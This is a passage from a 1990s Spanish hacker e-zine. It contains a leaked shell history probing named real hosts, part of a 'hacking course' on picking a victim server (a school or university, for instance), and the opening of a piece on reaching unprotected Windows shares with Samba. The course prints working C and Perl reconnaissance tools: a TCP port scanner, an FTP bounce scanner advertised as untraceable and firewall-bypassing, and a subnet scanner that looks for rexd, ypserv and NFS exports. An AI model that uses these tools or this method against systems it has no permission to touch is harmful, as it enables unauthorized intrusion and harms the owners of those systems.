  739.   ls
  740.   cat getpass.o
  741.   cat getpass.c
  742.   ls
  743.   telnet
  744.   cd /tmp
  745.   ls
  746.   dir li*
  747.   cd..
  748.   cd ..
  749.   ls
  750.   cd usr
  751.   ls
  752.   cd ..
  753.   cd ..
  754.   ls
  755.   cd etc
  756.   ls
  757.   cd ..
  758.   ls
  759.   cd home
  760.   cd cmeinel
  761.   ls
  762.   rm getpass.c
  763.   rm getpass.o
  764.   rm OPENLOG.C
  765.   rm MAKEFILE
  766.   ls
  767.   dir
  768.   ls -l
  769.   w
  770.   ls -l /bin
  771.   pwd
  772.   nslookup
  773.   finger root@shellonly.com
  774.   ls -l
  775.   telnet
  776.   tin
  777.   wheris tin
  778.   whereis tin
  779.   who
  780.   finger root
  781.   users
  782.   who
  783.   tin
  784.   finger @shellonly.com
  785.   netstat
  786.   quit
  787.   exit
  788.   tin
  789.   tin -r
  790.   tin -r news.lobo.net
  791.   who
  792.   talk campress
  793.   man tin
  794.   kill man tin
  795.   fg man tin
  796.   jobs
  797.   kill 1
  798.   ps man tin
  799.   ps
  800.   kill 23287
  801.   ps
  802.   quit
  803.   exit
  804.   i
  805.   pine
  806.   ls
  807.   ls
  808.   w
  809.   ls -F
  810.   more "=0"
  811.   ls -l
  812.   more binmail.sh
  813.   ls
  814.   more ed.hup ^
  815.   more ed.hup
  816.   more /var/spool/mail/cmeinel
  817.   ls
  818.   ls balu
  819.   rm -rf balu
  820.   finger
  821.   w
  822.   ls
  823.   cd ..
  824.   ls
  825.   ls -l
  826.   cd ftp
  827.   ls
  828.   cd pub
  829.   ls
  830.   cd ..
  831.   ls
  832.   cd incoming
  833.   ls
  834.   cd ..
  835.   cd usr
  836.   ls
  837.   cd bin
  838.   ls
  839.   cd ..cd ..
  840.   cd ..
  841.   cd..
  842.   cd ..
  843.   ls
  844.   w 
  845.   exit
  846.   tin -r
  847.   tin -r news.lobo.net
  848.   tin news.lobo.net -r
  849.   elm
  850.   pine
  851.   telnet space.honeywell.com
  852.   passwd
  853.   tin
  854.   tin -r news.lobo.net
  855.   pine
  856.   exit
  857.   who
  858.   talk .The Internet weather report
  859.      No, we're not talking climate-type weather here on earth as reported
  860.      via the Internet. We're talking bitwise weather. Storms in the aether.
  861.      The ebb and flow, the squalls and bottlenecks on the largest Net back-
  862.      bone carriers. The folks at ClearInk [25], a California "E-vertising"
  863.      agency, offer the indispensible Internet Weather Report [26]: a quick-
  864.      loading tabular summary, updated every 15 minutes, of packet loss and
  865.      "ping" round-trip times from their location to 15 nationwide carriers.
  866.      At this moment AGIS is losing 8% of the packets ClearInk sends them.
  867.      Why? Perhaps it's due to the hackings, flames, and vandalism [27] dir-
  868.      ected against this ISP, the only remaining safe haven for "spam king"
  869.      Sanford Wallace's Cyber Promotions. (For more on CyberPromo, visit
  870.      TBTF Threads [28] and follow one of the two spam topics.)
  871.      [25] <URL:http://www.clearink.com/>
  872.      [26] <URL:http://www.internetweather.com/>
  873.      [27] <URL:http://www.news.com/Rumors/0%2C29%2C00.html>
  874.      [28] <URL:http://www.tbtf.com/threads.html>
  875.   finger rlogan@space.honeywell.com
  876.   finger rlogan@honeywell.com
  877.   nslookup honeywell.com
  878.   whois rlogan@space.honeywell.com
  879.   lynx http://www.honeywell.com
  880.   finger info-fl51@space.honeywell.com
  881.   telnet space.honeywell.com
  882.   users
  883.   who
  884.   rwho
  885.   finger campress
  886.   elm
  887.   quit
  888.   exit
  889.   whois honeywell.com
  890.   finger rlogan@space.honeywell.com
  891.   finger rlogan@129.239.26.10
  892.   finger rlogan@129.30.3.16
  893.   finger rlogan@129.17.254.12
  894.   pine
  895.   telnet 36.26.0.172
  896.   finger boeing.com
  897.   finger @boeing.com
  898.   finger @www.boeing.com
  899.   exit
  900.   elm
  901.   tin -r
  902.   tin -r news.lobo.net
  903.   whois happyhacker.org
  904.   pine
  905.   exit
  906.   pine
  907.   tin
  908.   tin -r  news.lobo.net
  909.   exit
  910.   pico .forward
  911.   pine
  912.   tin -r news.lobo.net
  913.   who
  914.   quit
  915.   exit
  916.   pine
  917.   tin
  918.   who
  919.   exit
  920.   dig escape.com
  921.   telnet free.escape.com
  922.   exit
  923.   pine
  924.   tin
  925.   tin -r news.lobo.net
  926.   telnet obscure.sekurity.org 22
  927.   who
  928.   finger @
  929.   set prompt = Howdy, haxor buddy!
  930.   set prompt = 'Howdy, haxor buddy!'
  931.   exit
  932.   set
  933.   set |more
  934.   set prompt
  935.   set prompt = 'hax0rch1ck:)'
  936.   who
  937.   pico .cshrc
  938.   tty
  939.   exit
  940.   whois internic.net
  941.   pine
  942.   nslookup internic.net
  943.   whois techbroker.com
  944.   whois happyhacker.org
  945.   whois happyhacker.com
  946.   exit
  947.   telnet escape.com 79
  948.   exit
  949.   nslookup phuck.com
  950.   nslookup phuck.net
  951.   dig netral.
  952.   nslookup netral.
  953.   whois  208.128.37.4
  954.   nslookup phuck.net.
  955.   nslookup ljusdal.se
  956.   dig ljusdal.se
  957.   dig phuch.net
  958.   dig phuck.net
  959.   help dig
  960.   man dig
  961.   whois dimensional.com
  962.   exit
  963.   lynx http://amazon.com
  964.   lynx happyhacker.org
  965.   whois techbroker.com
  966.   pine
  967.   who
  968.   exit
  969.   elm
  970.   elm
  971.   exit
  972.   elm
  973.   exit
  974.   elm
  975.   cat var/spool/mail/cmeinel
  976.   exit
  977.   tin
  978.   tin -r news.lobo.net
  979.   pine
  980.   pine
  981.   pine
  982.   traceroute obscure.sekurity.org
  983.   who
  984.   an traceroute
  985.   man traceroute
  986.   finger krees@downeast.net
  987.   telnet downeast.net 79
  988.   telnet downeast.net 79
  989.   telnet downeast.net 79
  990.   whois downeast.net
  991.   traceroute downeast.net
  992.   finger krees@alter.net
  993.   finger krees@137.39.13.237
  994.   finger krees@204.176.212.1
  995.   telnet 204.176.212.1 79
  996.   finger krees@208.128.23.61
  997.   nslookup 204.176.212.1
  998.   nslookup 204.176.212.2
  999.   dig 204.176.212.1
  1000.   nslookup 204.176.212.
  1001.   nslookup 204.176.212.10
  1002.   lynx http://www.agate.net/~krees/resume.html
  1003.   reset
  1004.   who
  1005.   pine
  1006.   exit
  1007.   traceroute sekurity.org
  1008.   pine
  1009.   exit
  1010.   pine
  1011.   exit
  1012.   pine
  1013.   lynx http://www.asmodeus.com
  1014.   whois asmodeus.com
  1015.   pine
  1016.   pine
  1017.   exit
  1018.   traceroute  ipt-q1.proxy.aol.com
  1019.   lynx http://204.188.52.99
  1020.   reset
  1021.   pine
  1022.   who
  1023.   exit
  1024.   pine
  1025.   exit
  1026.   lynx http://dejanews.com
  1027.   exit
  1028.   pine
  1029.   pico worm.tar
  1030.   ftp ftp://obscure.sekurity.org
  1031.   exit
  1032.   exit
  1033.   lynx http://www.westcomm.com/direcpc
  1034.   pine
  1035.   exit
  1036.   whois nwark.com
  1037.   finger
  1038.   who
  1039.   users
  1040.   finger@
  1041.   telnet 127.0.0.1 79
  1042.   finger utep
  1043.   finger austin
  1044.   finger elpaso
  1045.   exit
  1046.   pine
  1047.   exit
  1048.   pine
  1049.   telnet 127.0.0.1
  1050.  
  1051. ------------ FIN -------------------------------------------------------------
  1052.  
  1053.         Si algun lector quiere escribir un articulo explicando el log, lo
  1054.   pondremos encantados en el siguiente numero :)
  1055.  
  1056. <────────────────────────────────────────────────────────────────────────────>
  1057. ██████████████████████████████████████████████████████████████████████████████
  1058. <────────────────────────────────────────────────────────────────────────────>
  1059.  
  1060.                              - CURSO DE HACK - 
  1061.                                 CHAPTER III
  1062.  
  1063.         Bueno, ya estamos en la tercera entrega de este curso sobre hack y
  1064.   espero que os sirva para algo y ya hallais hackeado algun server :). Ahora
  1065.   ya despues de estar haciendo cosas muy lamers ya empezaremos algo mas serio
  1066.   y que requiere un poco de maestria, pero no te preocupes que aqui estara
  1067.   todo bien explicado.
  1068.  
  1069.         Esta tercera parte esta enfocada al analisis de un server y buscar
  1070.   sus puntos vulnerables, enfocadonos en sistemas Unix logicamente.
  1071.  
  1072.   - Buscando victima.
  1073.  
  1074.         Lo primero que tenemos que hacer es buscar un sever que por alguna
  1075.   razon nos llame la atencion, los principales criterios serian estos:
  1076.  
  1077.     -> El servidor de la escuela, universidad, etc ...
  1078.     -> Sabemos que el Admin es un inutil.
  1079.     -> Nos lo a recomendado un amigo.
  1080.     -> Es un servidor racista, contiene pornografia infantil, etc ...
  1081.     -> Buscando por Inet, lo encontramos interesante.
  1082.     -> Contiene mi juego favorito pero vale un riñon.
  1083.  
  1084.         Ahora ya sabemos cual sera nuestra victima, comenzaremos un estudio,
  1085.   es recomendable crear un fichero donde iremos guardando toda la informacion
  1086.   que vayamos obteniendo del servidor en cuestion.
  1087.  
  1088.   - Surfeando los Puertos.
  1089.  
  1090.         Lo primero seria averiguar que puertos tiene abiertos que podemos
  1091.   aprovechar para colarnos. Por eso tenemos que usar un scaneador de puertos,
  1092.   la verdad es que hay muchos y para todos los s.o. practicamente. Ahora os
  1093.   pongo el codigo de uno para unix.
  1094.  
  1095. ------------ Codigo Fuente ---------------------------------------------------
  1096.  
  1097. /*
  1098.  * internet port scanner 
  1099.  *
  1100.  * This program will scan a hosts TCP ports printing all ports that accept
  1101.  * connections, and if known, the service name.
  1102.  * This program can be trivially altered to do UDP ports also.
  1103.  *
  1104.  * Kopywrong (K) Aug. 25, '94 pluvius@io.org
  1105.  *
  1106.  * Hey kiddies, this is a C program, to run it do this:
  1107.  * $ cc -o pscan pscan.c
  1108.  * $ pscan <host> [max port]
  1109.  *
  1110.  * No, this will not get you root.
  1111.  * 
  1112.  * Changes:
  1113.  * Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box
  1114.  * Netrunner 1/18/95 11:30pm
  1115.  *
  1116.  * Changes:
  1117.  * converts port# to network byte order.
  1118.  * Therapy 10/29/96 9:00pm
  1119.  * 
  1120. */
  1121. static char sccsid[] = "@(#)pscan.c     1.0     (KRAD) 08/25/94";
  1122. #include <stdio.h>
  1123. #include <sys/types.h>
  1124. #include <sys/socket.h>
  1125. #include <netinet/in.h>
  1126. #include <netdb.h>
  1127.  
  1128. #define MAX_PORT 1024 /* scan up to this port */
  1129. int s;
  1130. struct sockaddr_in addr;
  1131. char rmt_host[100];
  1132.  
  1133. int skan(port)
  1134. int port;
  1135. {
  1136.  int r;
  1137.     s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1138.     if (s < 0) {
  1139.        /* fprintf("ERROR: socket() failed\n"); */
  1140.        /* Changed to printf for my Linux 1.1.18 box */
  1141.        printf("ERROR: socket() failed\n");
  1142.        exit(0);
  1143.     }
  1144.  
  1145.     addr.sin_family = PF_INET;
  1146.     addr.sin_port = htons(port);
  1147.     addr.sin_addr.s_addr = inet_addr(rmt_host);
  1148.  
  1149.     r = connect(s,(struct sockaddr *) &addr, sizeof(addr));
  1150.  
  1151.     close(s);
  1152.     if (r==-1) {
  1153.        return (1 == 0);
  1154.     }
  1155.  
  1156.     return (1 == 1);
  1157. }
  1158.  
  1159. main(argc,argv) 
  1160. int argc;
  1161. char *argv[];
  1162. {
  1163.  int a,b,c,d,e,f;
  1164.  struct hostent *foo;
  1165.  struct servent *bar;
  1166.  
  1167.    if (argc < 2) {
  1168.       fprintf(stderr,"usage: %s <host> [highest port]\n",argv[0]);
  1169.       exit(0);
  1170.    }
  1171.  
  1172.    if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
  1173.       foo = gethostbyname(argv[1]);
  1174.       if (foo == NULL) {
  1175.          fprintf(stderr,"error: cannot resolve host %s\n",argv[1]);
  1176.          exit(0);
  1177.       }
  1178.       sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0],
  1179.               (unsigned char ) foo->h_addr_list[0][1], 
  1180.               (unsigned char ) foo->h_addr_list[0][2], 
  1181.               (unsigned char ) foo->h_addr_list[0][3]);
  1182.    } else {
  1183.       strncpy(rmt_host,argv[1],99);
  1184.    }
  1185.  
  1186.  
  1187.    if (argc > 2) {
  1188.       f = atoi(argv[2]);
  1189.    } else
  1190.       f = MAX_PORT;
  1191.  
  1192.    fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);
  1193.  
  1194.    for (e =1;e<=f;e++) {
  1195.     char serv[100];
  1196.       if (skan(e)) {
  1197.          bar = getservbyport(htons(e),"tcp"); 
  1198.          printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" :
  1199.                 bar->s_name); 
  1200.       }
  1201.    }
  1202. }
  1203.  
  1204. ------------ FIN -------------------------------------------------------------
  1205.  
  1206.         Ahora solo tenemos que compilarlo y ejecutarlo :))
  1207.  
  1208.         He creido que este escanedor que os doy mas abajo podria ser
  1209.   interesante para nuestros propositos ya que nos permite escanear un
  1210.   servidor pasando por otro servidor aprovechando un bug en el protocolo FTP.
  1211.  
  1212. ------------ Codigo Fuente ---------------------------------------------------
  1213.  
  1214. /*
  1215.  * FTP Scan (C) 1996 Kit Knox <kit@connectnet.com>
  1216.  *
  1217.  * Exploits bug in FTP protocol that allows user to connect to arbritary
  1218.  * IP address and port.
  1219.  *
  1220.  * Features: Untraceable port scans.  Bypass firewalls!
  1221.  *
  1222.  * Example usage:
  1223.  *
  1224.  * ftp-scan ftp.cdrom.com 127.0.0.1 0 1024
  1225.  *
  1226.  * This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024
  1227.  *
  1228.  */
  1229.  
  1230. #include <stdio.h>
  1231. #include <stdlib.h>
  1232. #include <sys/param.h>
  1233. #include <sys/socket.h>
  1234. #include <netinet/in.h>
  1235. #include <netdb.h>
  1236. #include <stdarg.h>
  1237.  
  1238. int sock;
  1239. char line[1024];
  1240.  
  1241. void rconnect(char *server)
  1242. {
  1243.   struct sockaddr_in sin;
  1244.   struct hostent *hp;
  1245.  
  1246.   hp = gethostbyname(server);
  1247.   if (hp==NULL) {
  1248.     printf("Unknown host: %s\n",server);
  1249.     exit(0);
  1250.   }
  1251.   bzero((char*) &sin, sizeof(sin));
  1252.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1253.   sin.sin_family = hp->h_addrtype;
  1254.   sin.sin_port = htons(21);
  1255.   sock = socket(AF_INET, SOCK_STREAM, 0);
  1256.   connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  1257. }
  1258.  
  1259. void login(void)
  1260. {
  1261.   char buf[1024];
  1262.  
  1263.   sprintf(buf,"USER ftp\n");
  1264.   send(sock, buf, strlen(buf),0);
  1265.   sleep(1);
  1266.   sprintf(buf,"PASS user@\n");
  1267.   send(sock, buf, strlen(buf),0);
  1268. }
  1269.  
  1270. void readln(void)
  1271. {
  1272.   int i,done=0,w;
  1273.   char tmp[1];
  1274.  
  1275.   sprintf(line,"");
  1276.   i = 0;
  1277.   while (!done) {
  1278.     w=read(sock,tmp, 1, 0);
  1279.     if (tmp[0] != 0) {
  1280.       line[i] = tmp[0];
  1281.     }
  1282.     if (line[i] == '\n') {
  1283.       done = 1;
  1284.     }
  1285.     i++;
  1286.   }
  1287.   line[i] = 0;
  1288. }
  1289.  
  1290. void sendln(char s[1024]) {
  1291.   send(sock, s, strlen(s),0);
  1292. }
  1293.  
  1294. #define UC(b)   (((int)b)&0xff)
  1295.  
  1296. void main(int argc, char **argv)
  1297. {
  1298.   char buf[1024];
  1299.   int i;
  1300.   u_short sport,eport;
  1301.   register char *p,*a;
  1302.   struct hostent *hp;
  1303.   struct sockaddr_in sin;
  1304.   char adr[1024];
  1305.  
  1306.   if (argc != 5) {
  1307.     printf("usage: ftp-scan ftp_server scan_host loport hiport\n");
  1308.     exit(-1);
  1309.   }
  1310.  
  1311.   hp = gethostbyname(argv[2]);
  1312.   if (hp==NULL) {
  1313.     printf("Unknown host: %s\n",argv[2]);
  1314.     exit(0);
  1315.   }
  1316.   bzero((char*) &sin, sizeof(sin));
  1317.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1318.  
  1319.   rconnect(argv[1]);
  1320.   /* Login anon to server */
  1321.   login();
  1322.   /* Make sure we are in */
  1323.   for (i=0; i<200; i++) {
  1324.     readln();
  1325.     if (strstr(line,"230 Guest")) {
  1326.       printf("%s",line);
  1327.       i = 200;
  1328.     }
  1329.   }
  1330.   a=(char *)&sin.sin_addr;
  1331.   sport = atoi(argv[3]);
  1332.   eport = atoi(argv[4]);
  1333.   sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3]));
  1334.   for (i=sport; i<eport; i++) {
  1335.     sin.sin_port = htons(i);
  1336.     p=(char *)&sin.sin_port;
  1337.     sprintf(buf,"\nPORT %s,%i,%i\nLIST\n",adr,UC(p[0]),UC(p[1]));
  1338.     sendln(buf);
  1339.     sprintf(line,"");
  1340.     while (!strstr(line, "150") && !strstr(line,"425")) {
  1341.       readln();
  1342.     }
  1343.     if (strstr(line,"150")) {
  1344.       printf("%i connected.\n",i);
  1345.     }
  1346.   }
  1347.   close(sock);
  1348. }
  1349.  
  1350. ------------ FIN -------------------------------------------------------------
  1351.  
  1352.         Ahora ya sabemos que puertos tiene abiertos el servidor victima, 
  1353.   buscamos una lista y comparamos y asi podemos buscar bug para los puertos
  1354.   que el server tenga abiertos. Tranquilo que ahora viene un listado de
  1355.   puertos.
  1356.  
  1357. ------------ Listado de Puertos ----------------------------------------------
  1358.  
  1359.   echo                7/tcp
  1360.   echo                7/udp
  1361.   discard             9/tcp    sink null
  1362.   discard             9/udp    sink null
  1363.   systat             11/tcp
  1364.   systat             11/tcp    users
  1365.   daytime            13/tcp
  1366.   daytime            13/udp
  1367.   netstat            15/tcp
  1368.   qotd               17/tcp    quote
  1369.   qotd               17/udp    quote
  1370.   chargen            19/tcp    ttytst source
  1371.   chargen            19/udp    ttytst source
  1372.   ftp-data           20/tcp
  1373.   ftp                21/tcp
  1374.   telnet             23/tcp
  1375.   smtp               25/tcp    mail
  1376.   time               37/tcp    timserver
  1377.   time               37/udp    timserver
  1378.   rlp                39/udp    resource      # resource location
  1379.   name               42/tcp    nameserver
  1380.   name               42/udp    nameserver
  1381.   whois              43/tcp    nicname       # usually to sri-nic
  1382.   domain             53/tcp    nameserver    # name-domain server
  1383.   domain             53/udp    nameserver
  1384.   nameserver         53/tcp    domain        # name-domain server
  1385.   nameserver         53/udp    domain
  1386.   mtp                57/tcp                  # deprecated
  1387.   bootp              67/udp                  # boot program server
  1388.   tftp               69/udp
  1389.   rje                77/tcp    netrjs
  1390.   finger             79/tcp
  1391.   link               87/tcp    ttylink
  1392.   supdup             95/tcp
  1393.   hostnames         101/tcp    hostname      # usually from sri-nic
  1394.   iso-tsap          102/tcp
  1395.   dictionary        103/tcp    webster
  1396.   x400              103/tcp                  # ISO Mail
  1397.   x400-snd          104/tcp
  1398.   csnet-ns          105/tcp
  1399.   pop               109/tcp    postoffice
  1400.   pop2              109/tcp                  # Post Office
  1401.   pop3              110/tcp    postoffice
  1402.   portmap           111/tcp
  1403.   portmap           111/udp
  1404.   sunrpc            111/tcp
  1405.   sunrpc            111/udp
  1406.   auth              113/tcp    authentication
  1407.   sftp              115/tcp
  1408.   path              117/tcp
  1409.   uucp-path         117/tcp
  1410.   nntp              119/tcp    usenet        # Network News Transfer
  1411.   ntp               123/udp    ntpd ntp      # network time protocol (exp)
  1412.   nbname            137/udp
  1413.   nbdatagram        138/udp
  1414.   nbsession         139/tcp
  1415.   NeWS              144/tcp    news
  1416.   sgmp              153/udp    sgmp
  1417.   tcprepo           158/tcp    repository    # PCMAIL
  1418.   snmp              161/udp    snmp
  1419.   snmp-trap         162/udp    snmp
  1420.   print-srv         170/tcp                  # network PostScript
  1421.   vmnet             175/tcp
  1422.   load              315/udp
  1423.   vmnet0            400/tcp
  1424.   sytek             500/udp
  1425.   biff              512/udp    comsat
  1426.   exec              512/tcp
  1427.   login             513/tcp
  1428.   who               513/udp    whod
  1429.   shell             514/tcp    cmd           # no passwords used
  1430.   syslog            514/udp
  1431.   printer           515/tcp    spooler       # line printer spooler
  1432.   talk              517/udp
  1433.   ntalk             518/udp
  1434.   efs               520/tcp                  # for LucasFilm
  1435.   route             520/udp    router routed
  1436.   timed             525/udp    timeserver
  1437.   tempo             526/tcp    newdate
  1438.   courier           530/tcp    rpc
  1439.   conference        531/tcp    chat
  1440.   rvd-control       531/udp    MIT disk
  1441.   netnews           532/tcp    readnews
  1442.   netwall           533/udp                  # -for emergency broadcasts
  1443.   uucp              540/tcp    uucpd         # uucp daemon
  1444.   klogin            543/tcp                  # Kerberos authenticated rlogin
  1445.   kshell            544/tcp    cmd           # and remote shell
  1446.   new-rwho          550/udp    new-who       # experimental
  1447.   remotefs          556/tcp    rfs_server rfs# Brunhoff remote filesystem
  1448.   rmonitor          560/udp    rmonitord     # experimental
  1449.   monitor           561/udp                  # experimental
  1450.   garcon            600/tcp
  1451.   maitrd            601/tcp
  1452.   busboy            602/tcp
  1453.   acctmaster        700/udp
  1454.   acctslave         701/udp
  1455.   acct              702/udp
  1456.   acctlogin         703/udp
  1457.   acctprinter       704/udp
  1458.   elcsd             704/udp                  # errlog
  1459.   acctinfo          705/udp
  1460.   acctslave2        706/udp
  1461.   acctdisk          707/udp
  1462.   kerberos          750/tcp    kdc           # Kerberos authentication--tcp
  1463.   kerberos          750/udp    kdc           # Kerberos authentication--udp
  1464.   kerberos_master   751/tcp                  # Kerberos authentication
  1465.   kerberos_master   751/udp                  # Kerberos authentication
  1466.   passwd_server     752/udp                  # Kerberos passwd server
  1467.   userreg_server    753/udp                  # Kerberos userreg server
  1468.   krb_prop          754/tcp                  # Kerberos slave propagation
  1469.   erlogin           888/tcp                  # Login and environment passing
  1470.   kpop             1109/tcp                  # Pop with Kerberos
  1471.   phone            1167/udp
  1472.   ingreslock       1524/tcp
  1473.   maze             1666/udp
  1474.   nfs              2049/udp                  # sun nfs
  1475.   knetd            2053/tcp                  # Kerberos de-multiplexor
  1476.   eklogin          2105/tcp                  # Kerberos encrypted rlogin
  1477.   rmt              5555/tcp    rmtd
  1478.   mtb              5556/tcp    mtbd          # mtb backup
  1479.   man              9535/tcp                  # remote man server
  1480.   w                9536/tcp
  1481.   mantst           9537/tcp                  # remote man server, testing
  1482.   bnews           10000/tcp
  1483.   rscs0           10000/udp
  1484.   queue           10001/tcp
  1485.   rscs1           10001/udp
  1486.   poker           10002/tcp
  1487.   rscs2           10002/udp
  1488.   gateway         10003/tcp
  1489.   rscs3           10003/udp
  1490.   remp            10004/tcp
  1491.   rscs4           10004/udp
  1492.   rscs5           10005/udp
  1493.   rscs6           10006/udp
  1494.   rscs7           10007/udp
  1495.   rscs8           10008/udp
  1496.   rscs9           10009/udp
  1497.   rscsa           10010/udp
  1498.   rscsb           10011/udp
  1499.   qmaster         10012/tcp
  1500.   qmaster         10012/udp
  1501.  
  1502. ------------ FIN -------------------------------------------------------------
  1503.  
  1504.         No he includo los puertos asignados al s.o. Inferno ya que por
  1505.   ahora es muy dificil que encontremos un server con este magnifico s.o. En el
  1506.   listado siguiente encontrareis un curioso escaneador pero no de puertos
  1507.   sino de dominios, que nos sera util para sacar los subdominios de un server.
  1508.   Deciros que este codigo no es un programa en C sino un script en Perl.
  1509.  
  1510. ------------ Codigo Fuente ---------------------------------------------------
  1511.  
  1512. #!/usr/local/bin/perl -s
  1513. #
  1514. #   Scan a subnet for valid hosts; if given hostname, will look at the
  1515. # 255 possible hosts on that net.  Report if host is running rexd or
  1516. # ypserv.
  1517. #
  1518. #  Usage:  scan n.n.n.n
  1519.  
  1520. # mine, by default
  1521. $default = "130.80.26";
  1522.  
  1523. $| = 1;
  1524.  
  1525. if ($v) { $verbose = 1; }
  1526.  
  1527. if ($#ARGV == -1) { $root = $default; }
  1528. else { $root = $ARGV[0]; }
  1529.  
  1530. # ip address
  1531. if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
  1532.         ($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
  1533.         ($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
  1534.         $root = "$one.$two.$three";
  1535.         if ($root eq "..") { die "Can't figure out what to scan...\n"; }
  1536.         }
  1537.  
  1538. print "Subnet $root:\n" if $verbose;
  1539. for $i (01..255) {
  1540.         print "Trying $root.$i\t=> " if $verbose;
  1541.         &resolve("$root.$i");
  1542.         }
  1543.  
  1544. #
  1545. #  Do the work
  1546. #
  1547. sub resolve {
  1548.  
  1549. local($name) = @_;
  1550.  
  1551. # ip address
  1552. if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
  1553.         ($a,$b,$c,$d) = split(/\./, $name);
  1554.         @ip = ($a,$b,$c,$d);
  1555.         ($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
  1556.         }
  1557. else {
  1558.         ($name, $aliases, $type, $len, @ip) = gethostbyname($name);
  1559.         ($a,$b,$c,$d) = unpack('C4',$ip[0]);
  1560.         }
  1561.  
  1562. if ($name && @ip) {
  1563.        print "$a.$b.$c.$d\t$name\n";
  1564.        system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u
  1565.        $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t
  1566.        $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo
  1567.        -u $name 100004 > /dev/null ; then echo \"R
  1568. unning ypserv.\"\nfi\nfi");
  1569.         }
  1570. else { print "unable to resolve address\n" if $verbose; }
  1571.  
  1572. }
  1573.  
  1574. sub AF_INET {2;}
  1575.  
  1576. ------------ FIN -------------------------------------------------------------
  1577.  
  1578.         Espero que por el momento os haya quedado claro el surfeo de puertos
  1579.   y en la siguiente entrega del curso o sea CURSO HACK IV seguiremos el
  1580.   analisis de un server mediente comandos de unix y definiremos los puntos
  1581.   vulnerables de un server.
  1582.  
  1583.   Byes all y hasta la vista !!
  1584.  
  1585.                                                      CONDE VAMPIRO
  1586.                                                - J.J.F. / HACKERS TEAM -
  1587.  
  1588. <────────────────────────────────────────────────────────────────────────────>
  1589. ██████████████████████████████████████████████████████████████████████████████
  1590. <────────────────────────────────────────────────────────────────────────────>
  1591.  
  1592. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  1593. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  1594. ------------------------------------------------------------------------------
  1595. *********** USO DE SAMBA EN LINUX/UNIX COMO SUSTITUTO DEL NBTSTAT ************
  1596. ******************************** By  Enif. ***********************************
  1597. ______________________________________________________________________________
  1598. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  1599.  
  1600.   1. Introduccion.
  1601.  
  1602.         El Bug del NBTSTAT era una de las cosas que aun me ataban a mi pobre
  1603.   windows, cuando lo escuche por primera vez fui una victima de el. Se
  1604.   trataba de que se podia acceder a los archivos de un ordenador con 
  1605.   win NT/95 que los tubiera compartidos para su red local si no tenia 
  1606.   puesto password para usar los recursos. Parece una cosa realmente 
  1607.   estupida, nos lo han de dar todo hecho, pues si!! eso mismo, pero la 
  1608.   realidad es que de ahi viene todo el problema, es un bug debido a una
  1609.   mala administracion de los recursos, propiciada por la falta de infor-
  1610.   macion que da Micro$oft da a sus clientes. Os digo por experiencia que 
  1611.   la mayoria de gente son absolutamente inconscientes de que alguien puede
  1612.   acceder a su red local por TCP/IP, yo era uno de ellos cuando me entraron
  1613.   y todo eso debido a mi gran "colega" -Psico- ..... bueno eso son detalles
  1614.   le agradezco al menos que no me hiciera desastres.
  1615.    
  1616.         En fin al principio creia que esto era propio de redes micro$oft, pero 
  1617.   no es asi. En Linux/UNIX existe una implementacion de este soft que 
  1618.   suele conocerse como Samba o LanManager. Ademas no es cosa de magia, en 
  1619.   realidad las dos redes estan separaditas, la LOCAL y la Mundial... TCP/IP
  1620.   pero existe un API, llamada netbios que resulta ser una serie de primitvas
  1621.   comtempladas que hacen de pasarela entre una y otra. Este protocolo de 
  1622.   aplicacion en versiones de micro$oft es un verdadero desastre , por que 
  1623.   ademas fue el causante de los famosos NUKES y tal y tal.... osea que todo
  1624.   esto os deberia de servir a todos para saber que WINDOWS no es un buen 
  1625.   sistema operativo para conectarse a Inet. 
  1626.  
  1627.       
  1628.   2. Instrucciones del uso del smbclient como sustituto de nbtstat.
  1629.  
  1630.      
  1631.         Lo primero que necesitamos es instalarnos una version del samba. 
  1632.   Bueno esto no ha de ser problema, pues suele venir en la mayoria de
  1633.   las distribuciones de Linux, por propia experiencia os dire que viene
  1634.   en la REDHAT 4.0 - 5.0. Si haceis una instalacion normal incluyendo 
  1635.   la opcion de conectividad con windows MSDOS ya se os metera directamente.
  1636.   
  1637.         Bueno, una vez metido el samba, tendreis instalado un servidor de 
  1638.   recursos compartidos, esto no es ofensivo para vosotros mediante esta
  1639.   tecnica pero cuidadin! por que la verdad es que el samba es un demonio
  1640.   bastante xplotable, y podriais encontraros sorpresas cuando os conectarais.
  1641.   Para solucionar esto , o bien lo matais antes de conectaros, cosa que es
  1642.   facil, solo habeis de buscar con "ps -ax" entre los procesos activos, como
  1643.   smbd (tambien debereis matar nmbd que esta relacionado con el samba pero 
  1644.   ahora no me enrollare en comentaros para que sirve, si teneis curiosidad:
  1645.   "man nmbd" o nmbd --help) , localizais el pid y luego "kill -9 pid".
  1646.   Otra solucion es copiarse el smbclient y luego desinstalarse el paquete 
  1647.   del samba. Esto ultimo es mas eficiente pero no lo recomiendo, por que si
  1648.   teneis metido el samba en vuestra maquina podeis hacer pruebas de esto mismo
